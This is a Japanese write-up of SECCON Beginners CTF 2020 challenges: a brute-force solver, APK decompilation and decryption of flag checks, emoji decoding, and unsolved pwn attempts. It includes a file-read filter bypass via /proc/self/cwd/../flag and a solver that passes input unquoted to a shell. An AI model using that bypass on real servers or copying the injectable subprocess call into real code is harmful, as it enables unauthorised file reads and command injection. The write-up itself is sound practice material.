#!/usr/bin/env python3 import sys import subprocess # output.txtの内容 output = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094] def check(input): # python3.7からは capture_output パラメーターがありますが、今使ってるのは3.6.9です…… p = subprocess.run(f"echo '{input}' | gs -q ./chall.gs", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # print(p) # print(p.stdout) out_str = p.stdout.decode("utf-8") arr = list(map(int, out_str.rstrip().split(" "))) return output[0:len(arr)] == arr chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}-_!?" result = "ctf4b{" while len(result) < len(output): for c in chars: result += c if check(result): print(result) break result = result[:-1] else: print("What?") sys.exit()
- 実行する、サブプロセスを起動しまくっているので1文字確定までに5秒10秒かかるのでしばらく待つ
- フラグが出てきた:
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
(全然Reversingしてなくて申し訳無さがある)
[Reversing Medium] siblangs
Well, they look so similar... siblangs.apk
- apkの実体はzipなので、適当なソフトで展開した
- 展開した中にclasses.dexがあるのでpxb1988/dex2jarを使ってjarに変換した
- jarをJava Decompiler使って中身を見る
- 中を見ていると
es.o0i.challengeapp.nativemodule.ValidateFlagModule
に怪しい処理が見える:
public class ValidateFlagModule extends ReactContextBaseJavaModule { // snip private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); // snip public void validate(String paramString, Callback paramCallback) { byte[] arrayOfByte = new byte[43]; arrayOfByte[0] = 95; // snip arrayOfByte[42] = 30; try { Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12); cipher.init(2, this.secretKey, gCMParameterSpec); arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12); byte[] arrayOfByte1 = paramString.getBytes(); for (int i = 0;; i++) { if (i < arrayOfByte.length) { if (arrayOfByte1[i + 22] != arrayOfByte[i]) { paramCallback.invoke(new Object[] { Boolean.valueOf(false) }); return; } } else { paramCallback.invoke(new Object[] { Boolean.valueOf(true) }); return; } } } catch (Exception exception) { paramCallback.invoke(new Object[] { Boolean.valueOf(false) }); return; } } }
- ローカル変数は何か色々変換しているがparamString引数はgetBytes()しているだけなので、ローカル変数の処理部分だけを抜き出して実行してみる:
import java.security.SecureRandom; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.SecretKeySpec; public class Main{ static final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); public static void main(String[] args){ byte[] encBytes = new byte[43]; encBytes[0] = 95; encBytes[1] = -59; encBytes[2] = -20; encBytes[3] = -93; encBytes[4] = -70; encBytes[5] = 0; encBytes[6] = -32; encBytes[7] = -93; encBytes[8] = -23; encBytes[9] = 63; encBytes[10] = -9; encBytes[11] = 60; encBytes[12] = 86; encBytes[13] = 123; encBytes[14] = -61; encBytes[15] = -8; encBytes[16] = 17; encBytes[17] = -113; encBytes[18] = -106; encBytes[19] = 28; encBytes[20] = 99; encBytes[21] = -72; encBytes[22] = -3; encBytes[23] = 1; encBytes[24] = -41; encBytes[25] = -123; encBytes[26] = 17; encBytes[27] = 93; encBytes[28] = -36; encBytes[29] = 45; encBytes[30] = 18; encBytes[31] = 71; encBytes[32] = 61; encBytes[33] = 70; encBytes[34] = -117; encBytes[35] = -55; encBytes[36] = 107; encBytes[37] = -75; encBytes[38] = -89; encBytes[39] = 3; encBytes[40] = 94; encBytes[41] = -71; encBytes[42] = 30; try { Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, encBytes, 0, 12); cipher.init(2, secretKey, gCMParameterSpec); encBytes = cipher.doFinal(encBytes, 12, encBytes.length - 12); for (int i = 0; i < encBytes.length; i++){ System.out.print((char)encBytes[i]); } System.out.println(); } catch (Exception exception) { System.out.println(exception.toString()); } } }
- 実行してみる
$ javac Main.java $ java Main 1pt_3verywhere}
1pt_3verywhere}
という文字列を得られた、しかしReactContextBaseJavaModule
の処理を見るに、これはフラグの22文字目以降だけらしい- 他の場所にフラグっぽい文字列や
ctf4b
が存在するかgrep等してみるが見つからない - APKの逆コンパイル系統でググっていると CTF Android問に強くなる - ごちうさ民の覚え書き にて
unzipではAndroidManifestファイルが見れないのでそういうときはapktoolを使うようにしています
との言及を見つける apktool
を導入して、それを使って.apkを展開してみたfind . -exec grep -n "ctf4b" {} /dev/null 2>/dev/null \;
してみると、今度は./assets/index.android.bundle:396:
にて長い1行が見つかる- その長い1行を改行やインデントを加工して頑張って見やすくする:
__d(function(g,r,i,a,m,e,d) { var t=r(d[0]),o=r(d[1]); Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0; var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10])); function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1; if(Reflect.construct.sham)return!1; if("function"==typeof Proxy)return!0; try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t) {(0,c.default)(v,t); var o,y=(o=v,function(){var t,l=(0,s.default)(o); if(V()){var n=(0,s.default)(this).constructor; t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments); return(0,u.default)(this,t)}); function v(){var t; (0,l.default)(this,v); for(var o=arguments.length,n=new Array(o),c=0; c<o; c++)n[c]=arguments[c]; return (t=y.call.apply(y,[this].concat(n))).state= {flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]}, t.handleFlagChange=function(o){t.setState({flagVal:o})}, t.onPressValidateFirstHalf=function(){ if("ios"===h.Platform.OS) { for(var o="AKeyFor"+h.Platform.OS+"10.3", l=t.state.flagVal, n=0; n<t.state.xored.length; n++) if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10)) return void h.Alert.alert("Validation A Failed","Try again..."); h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")} else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")}, t.onPressValidateLastHalf=function(){ "android"===h.Platform.OS? p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}): h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")}, t} (snip)
if("ios"===h.Platform.OS)
の箇所でxorしているのが見えるので復号してみる:
#!/usr/bin/env python3 xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27] o = "AKeyFor"+"ios"+"10.3" for i in range(len(xored)): print(chr(ord(o[i%len(o)]) ^ xored[i]), end="") print()
- 実行すると
ctf4b{jav4_and_j4va5cr
を得る - ここで見つけたコードは
onPressValidateFirstHalf
というコールバック内部なので先頭の方と予想する、またonPressValidateLastHalf
の方のコールバックではvalidate
が呼ばれているので最初に見たjavaコードが呼ばれると予想する - 見つかった2つの断片を結合してフラグゲット:
ctf4b{jav4_and_j4va5cr1pt_3verywhere}
(問題名を最初はsiblings
と誤読していました、siblangs
だったんですねなるほど)
[Misc Beginner] Welcome
Welcome to SECCON Beginners CTF 2020!
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
- ルールのページに
Discord (https://discord.gg/qG3JxFw)
の記載があったのでアクセスする - announcementチャンネルにフラグが書かれていた:
xrekkusu Yesterday at 2:01 PM 競技開始しました!Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
[Misc Easy] emoemoencode
Do you know emo-emo-encode?
emoemoencode.txt
- emoemoencode.txtをDLしてみると、絵文字だらけのテキストだった:
$ file emoemoencode.txt emoemoencode.txt: UTF-8 Unicode text $ cat emoemoencode.txt 🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
- 各文字のUnicode Scalarか文字名あたりがフラグになっていそうと検討をつける
- ググってヒットした Unicode - Compart を使って各文字を調べた:
🍣: U+1F363 SUSHI 🍴: U+1F374 Fork and Knife 🍦: U+1F366 Soft Ice Cream 🌴: U+1F334 Palm Tree 🍢: U+1F362 Oden 🍻: U+1F37B Clinking Beer Mugs 🍳: U+1F373 Cooking 🍴: U+1F374 Fork and Knife 🍥: U+1F365 Fish Cake with Swirl Design 🍧: U+1F367 Shaved Ice(ここでUnicode Scalarの下位1byteがASCIIに対応していることに気づく) 🍡: U+1F361 🍮: U+1F36E 🌰: U+1F330 🍧: U+1F367 🍲: U+1F372 🍡: U+1F361 🍰: U+1F370 🍨: U+1F368 🍹: U+1F379 🍟: U+1F35F 🍢: U+1F362 🍹: U+1F379 🍟: U+1F35F 🍥: U+1F365 🍭: U+1F36D 🌰: U+1F330 🌰: U+1F330 🌰: U+1F330 🌰: U+1F330 🌰: U+1F330 🌰: U+1F330 🍪: U+1F36A 🍩: U+1F369 🍽: U+1F37D
- 各文字下位2文字をテキストエディタの矩形選択で抜き出して、ASCII文字に変換するコードを書いた:
#!/usr/bin/env python3 for c in [0x63,0x74,0x66,0x34,0x62,0x7B,0x73,0x74,0x65,0x67,0x61,0x6E,0x30,0x67,0x72,0x61,0x70,0x68,0x79,0x5F,0x62,0x79,0x5F,0x65,0x6D,0x30,0x30,0x30,0x30,0x30,0x30,0x6A,0x69,0x7D,]: print(chr(c), end="") print()
- 実行してフラグゲット:
ctf4b{stegan0graphy_by_em000000ji}
- 終了後に
for c in "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽": print(chr(0xFF&ord(c)), end="")
だけでフラグが取れると教えてもらった、非ASCIIに対してもord
やchr
は問題なく使える
[Misc Easy] readme
readme
nc readme.quals.beginners.seccon.jp 9712
- 問題文中のリンクからzipをDLして展開すると
server.py
が入っていた:
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
- ncで接続してみるとこれがまさに動いているらしい
if 'ctf' in path:
の判定が厳しい、これをどうにか迂回したい- 入力文字にNUL文字を含めて入力してみるがPython側で
ValueError: embedded null byte
- 入力文字に
x\b
を含めて入力してみるがFileNotFound /~/flag
を入力してもFileNotFound- 環境変数を使えるか、もしくは各ユーザーhome以下へのシンボリックリンクがあるかググる
- symlink - Is there a standard symbolic link to the current users home directory? - Unix & Linux Stack Exchange を見つける、
/proc/self/cwd/
というものがあるらしい /proc/self/cwd/flag
を入力したがFileNotFound/proc/self/cwd/../flag
を入力すればフラグをゲットできた:ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
- (
/proc/self/environ
を入力すればPWD=/home/ctf/server
からCWDが分かると後になって知った)
取り組んだが解けなかった問題
[Pwn Easy] Beginner's Heap
Let's learn how to abuse heap overflow!
nc bh.quals.beginners.seccon.jp 9002
- この問題ではバイナリやソースをDLできない
- 実行してみると
Beginner's Stack
問題と同様に丁寧な図示をしてくれた(解けなかったので内容略) - 説明によると
__free_hook
のアドレスをwin
関数のアドレスで置き換えてやれば良さそうに思える - ただヒープの知識が乏しく
__free_hook
をどうすればいいのか分からなかった
[Pwn Easy] Elementary Stack
Do you really understand stack?
nc es.quals.beginners.seccon.jp 9003
- 文中のリンクを踏むとzipファイルをDLできて、展開すると
main.c
,libc-2.27.so
が入っていた - 要約: mainのローカル変数
unsigned long x[8]
について、任意のi
,v
でx[i]=v
が出来る問題 - ただしmain関数は無限ループでありreturnしない、そのためmainのreturn addressを書き換えても無意味
- 文字入力用の
char *buffer
の値をスタックアドレスに書き換えられたら、文字入力関数のreturn addressを改ざんできるかなあ、などと考えていた - ただreturn addressをどこにすればいいのか分からないまま終了
[Reversing Hard] sneaky
Rumor has it that there's a hidden easter egg which can be activated by getting high score in this game......
- 文中のリンクを踏むとzipファイルをDLできて、展開すると
sneaky
ファイルが入っていた - 実行してみるとスネークゲームだった、普通に遊んでみると10回餌をとった後に壁に激突してGameOver
- バイナリ詳細を調べてみる:
$ file sneaky sneaky: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ef4c67ba5146f36226a06e9984f8ee4c5f31f7ee, stripped
- スタティックリンクかつstrippedなので、IDAで開いても関数いっぱいだし名前は全然ついていない
- しばらくIDAで格闘する
- ライブラリ内部の方は、assert失敗時らしき文字列から関数名がわかったりはした
- その他、ターミナル制御用(ncurse?)と思われし文字列リテラルが多数見つかったりもした
- しかし
easter egg
らしき処理が全くわからない、環境変数かコマンドライン引数か特定キー操作か別のなにかも全くわからない - 挫折する
- 他の方のwriteupを見ていて気づく、もろ問題文中に
which can be activated by getting high score in this game
と書かれていた、完全に見逃していた……
感想
- 夜ご飯を食べる時間、夜寝る時間を除けばずっと取り組んでいました。取り組める余地があるのは楽しい。
- Pwn問題の図示が丁寧で凄い。
- 苦労した問題でAC取れた時は感激しました。今回は特に
Noisy equations
,siblangs
,readme
が該当します。 - 典型的な問題であっても知らない場合があるので、初心者向けコンテストはとてもありがたいです。
- writeupを書くのは大変、今回は6時間ほどかかりました。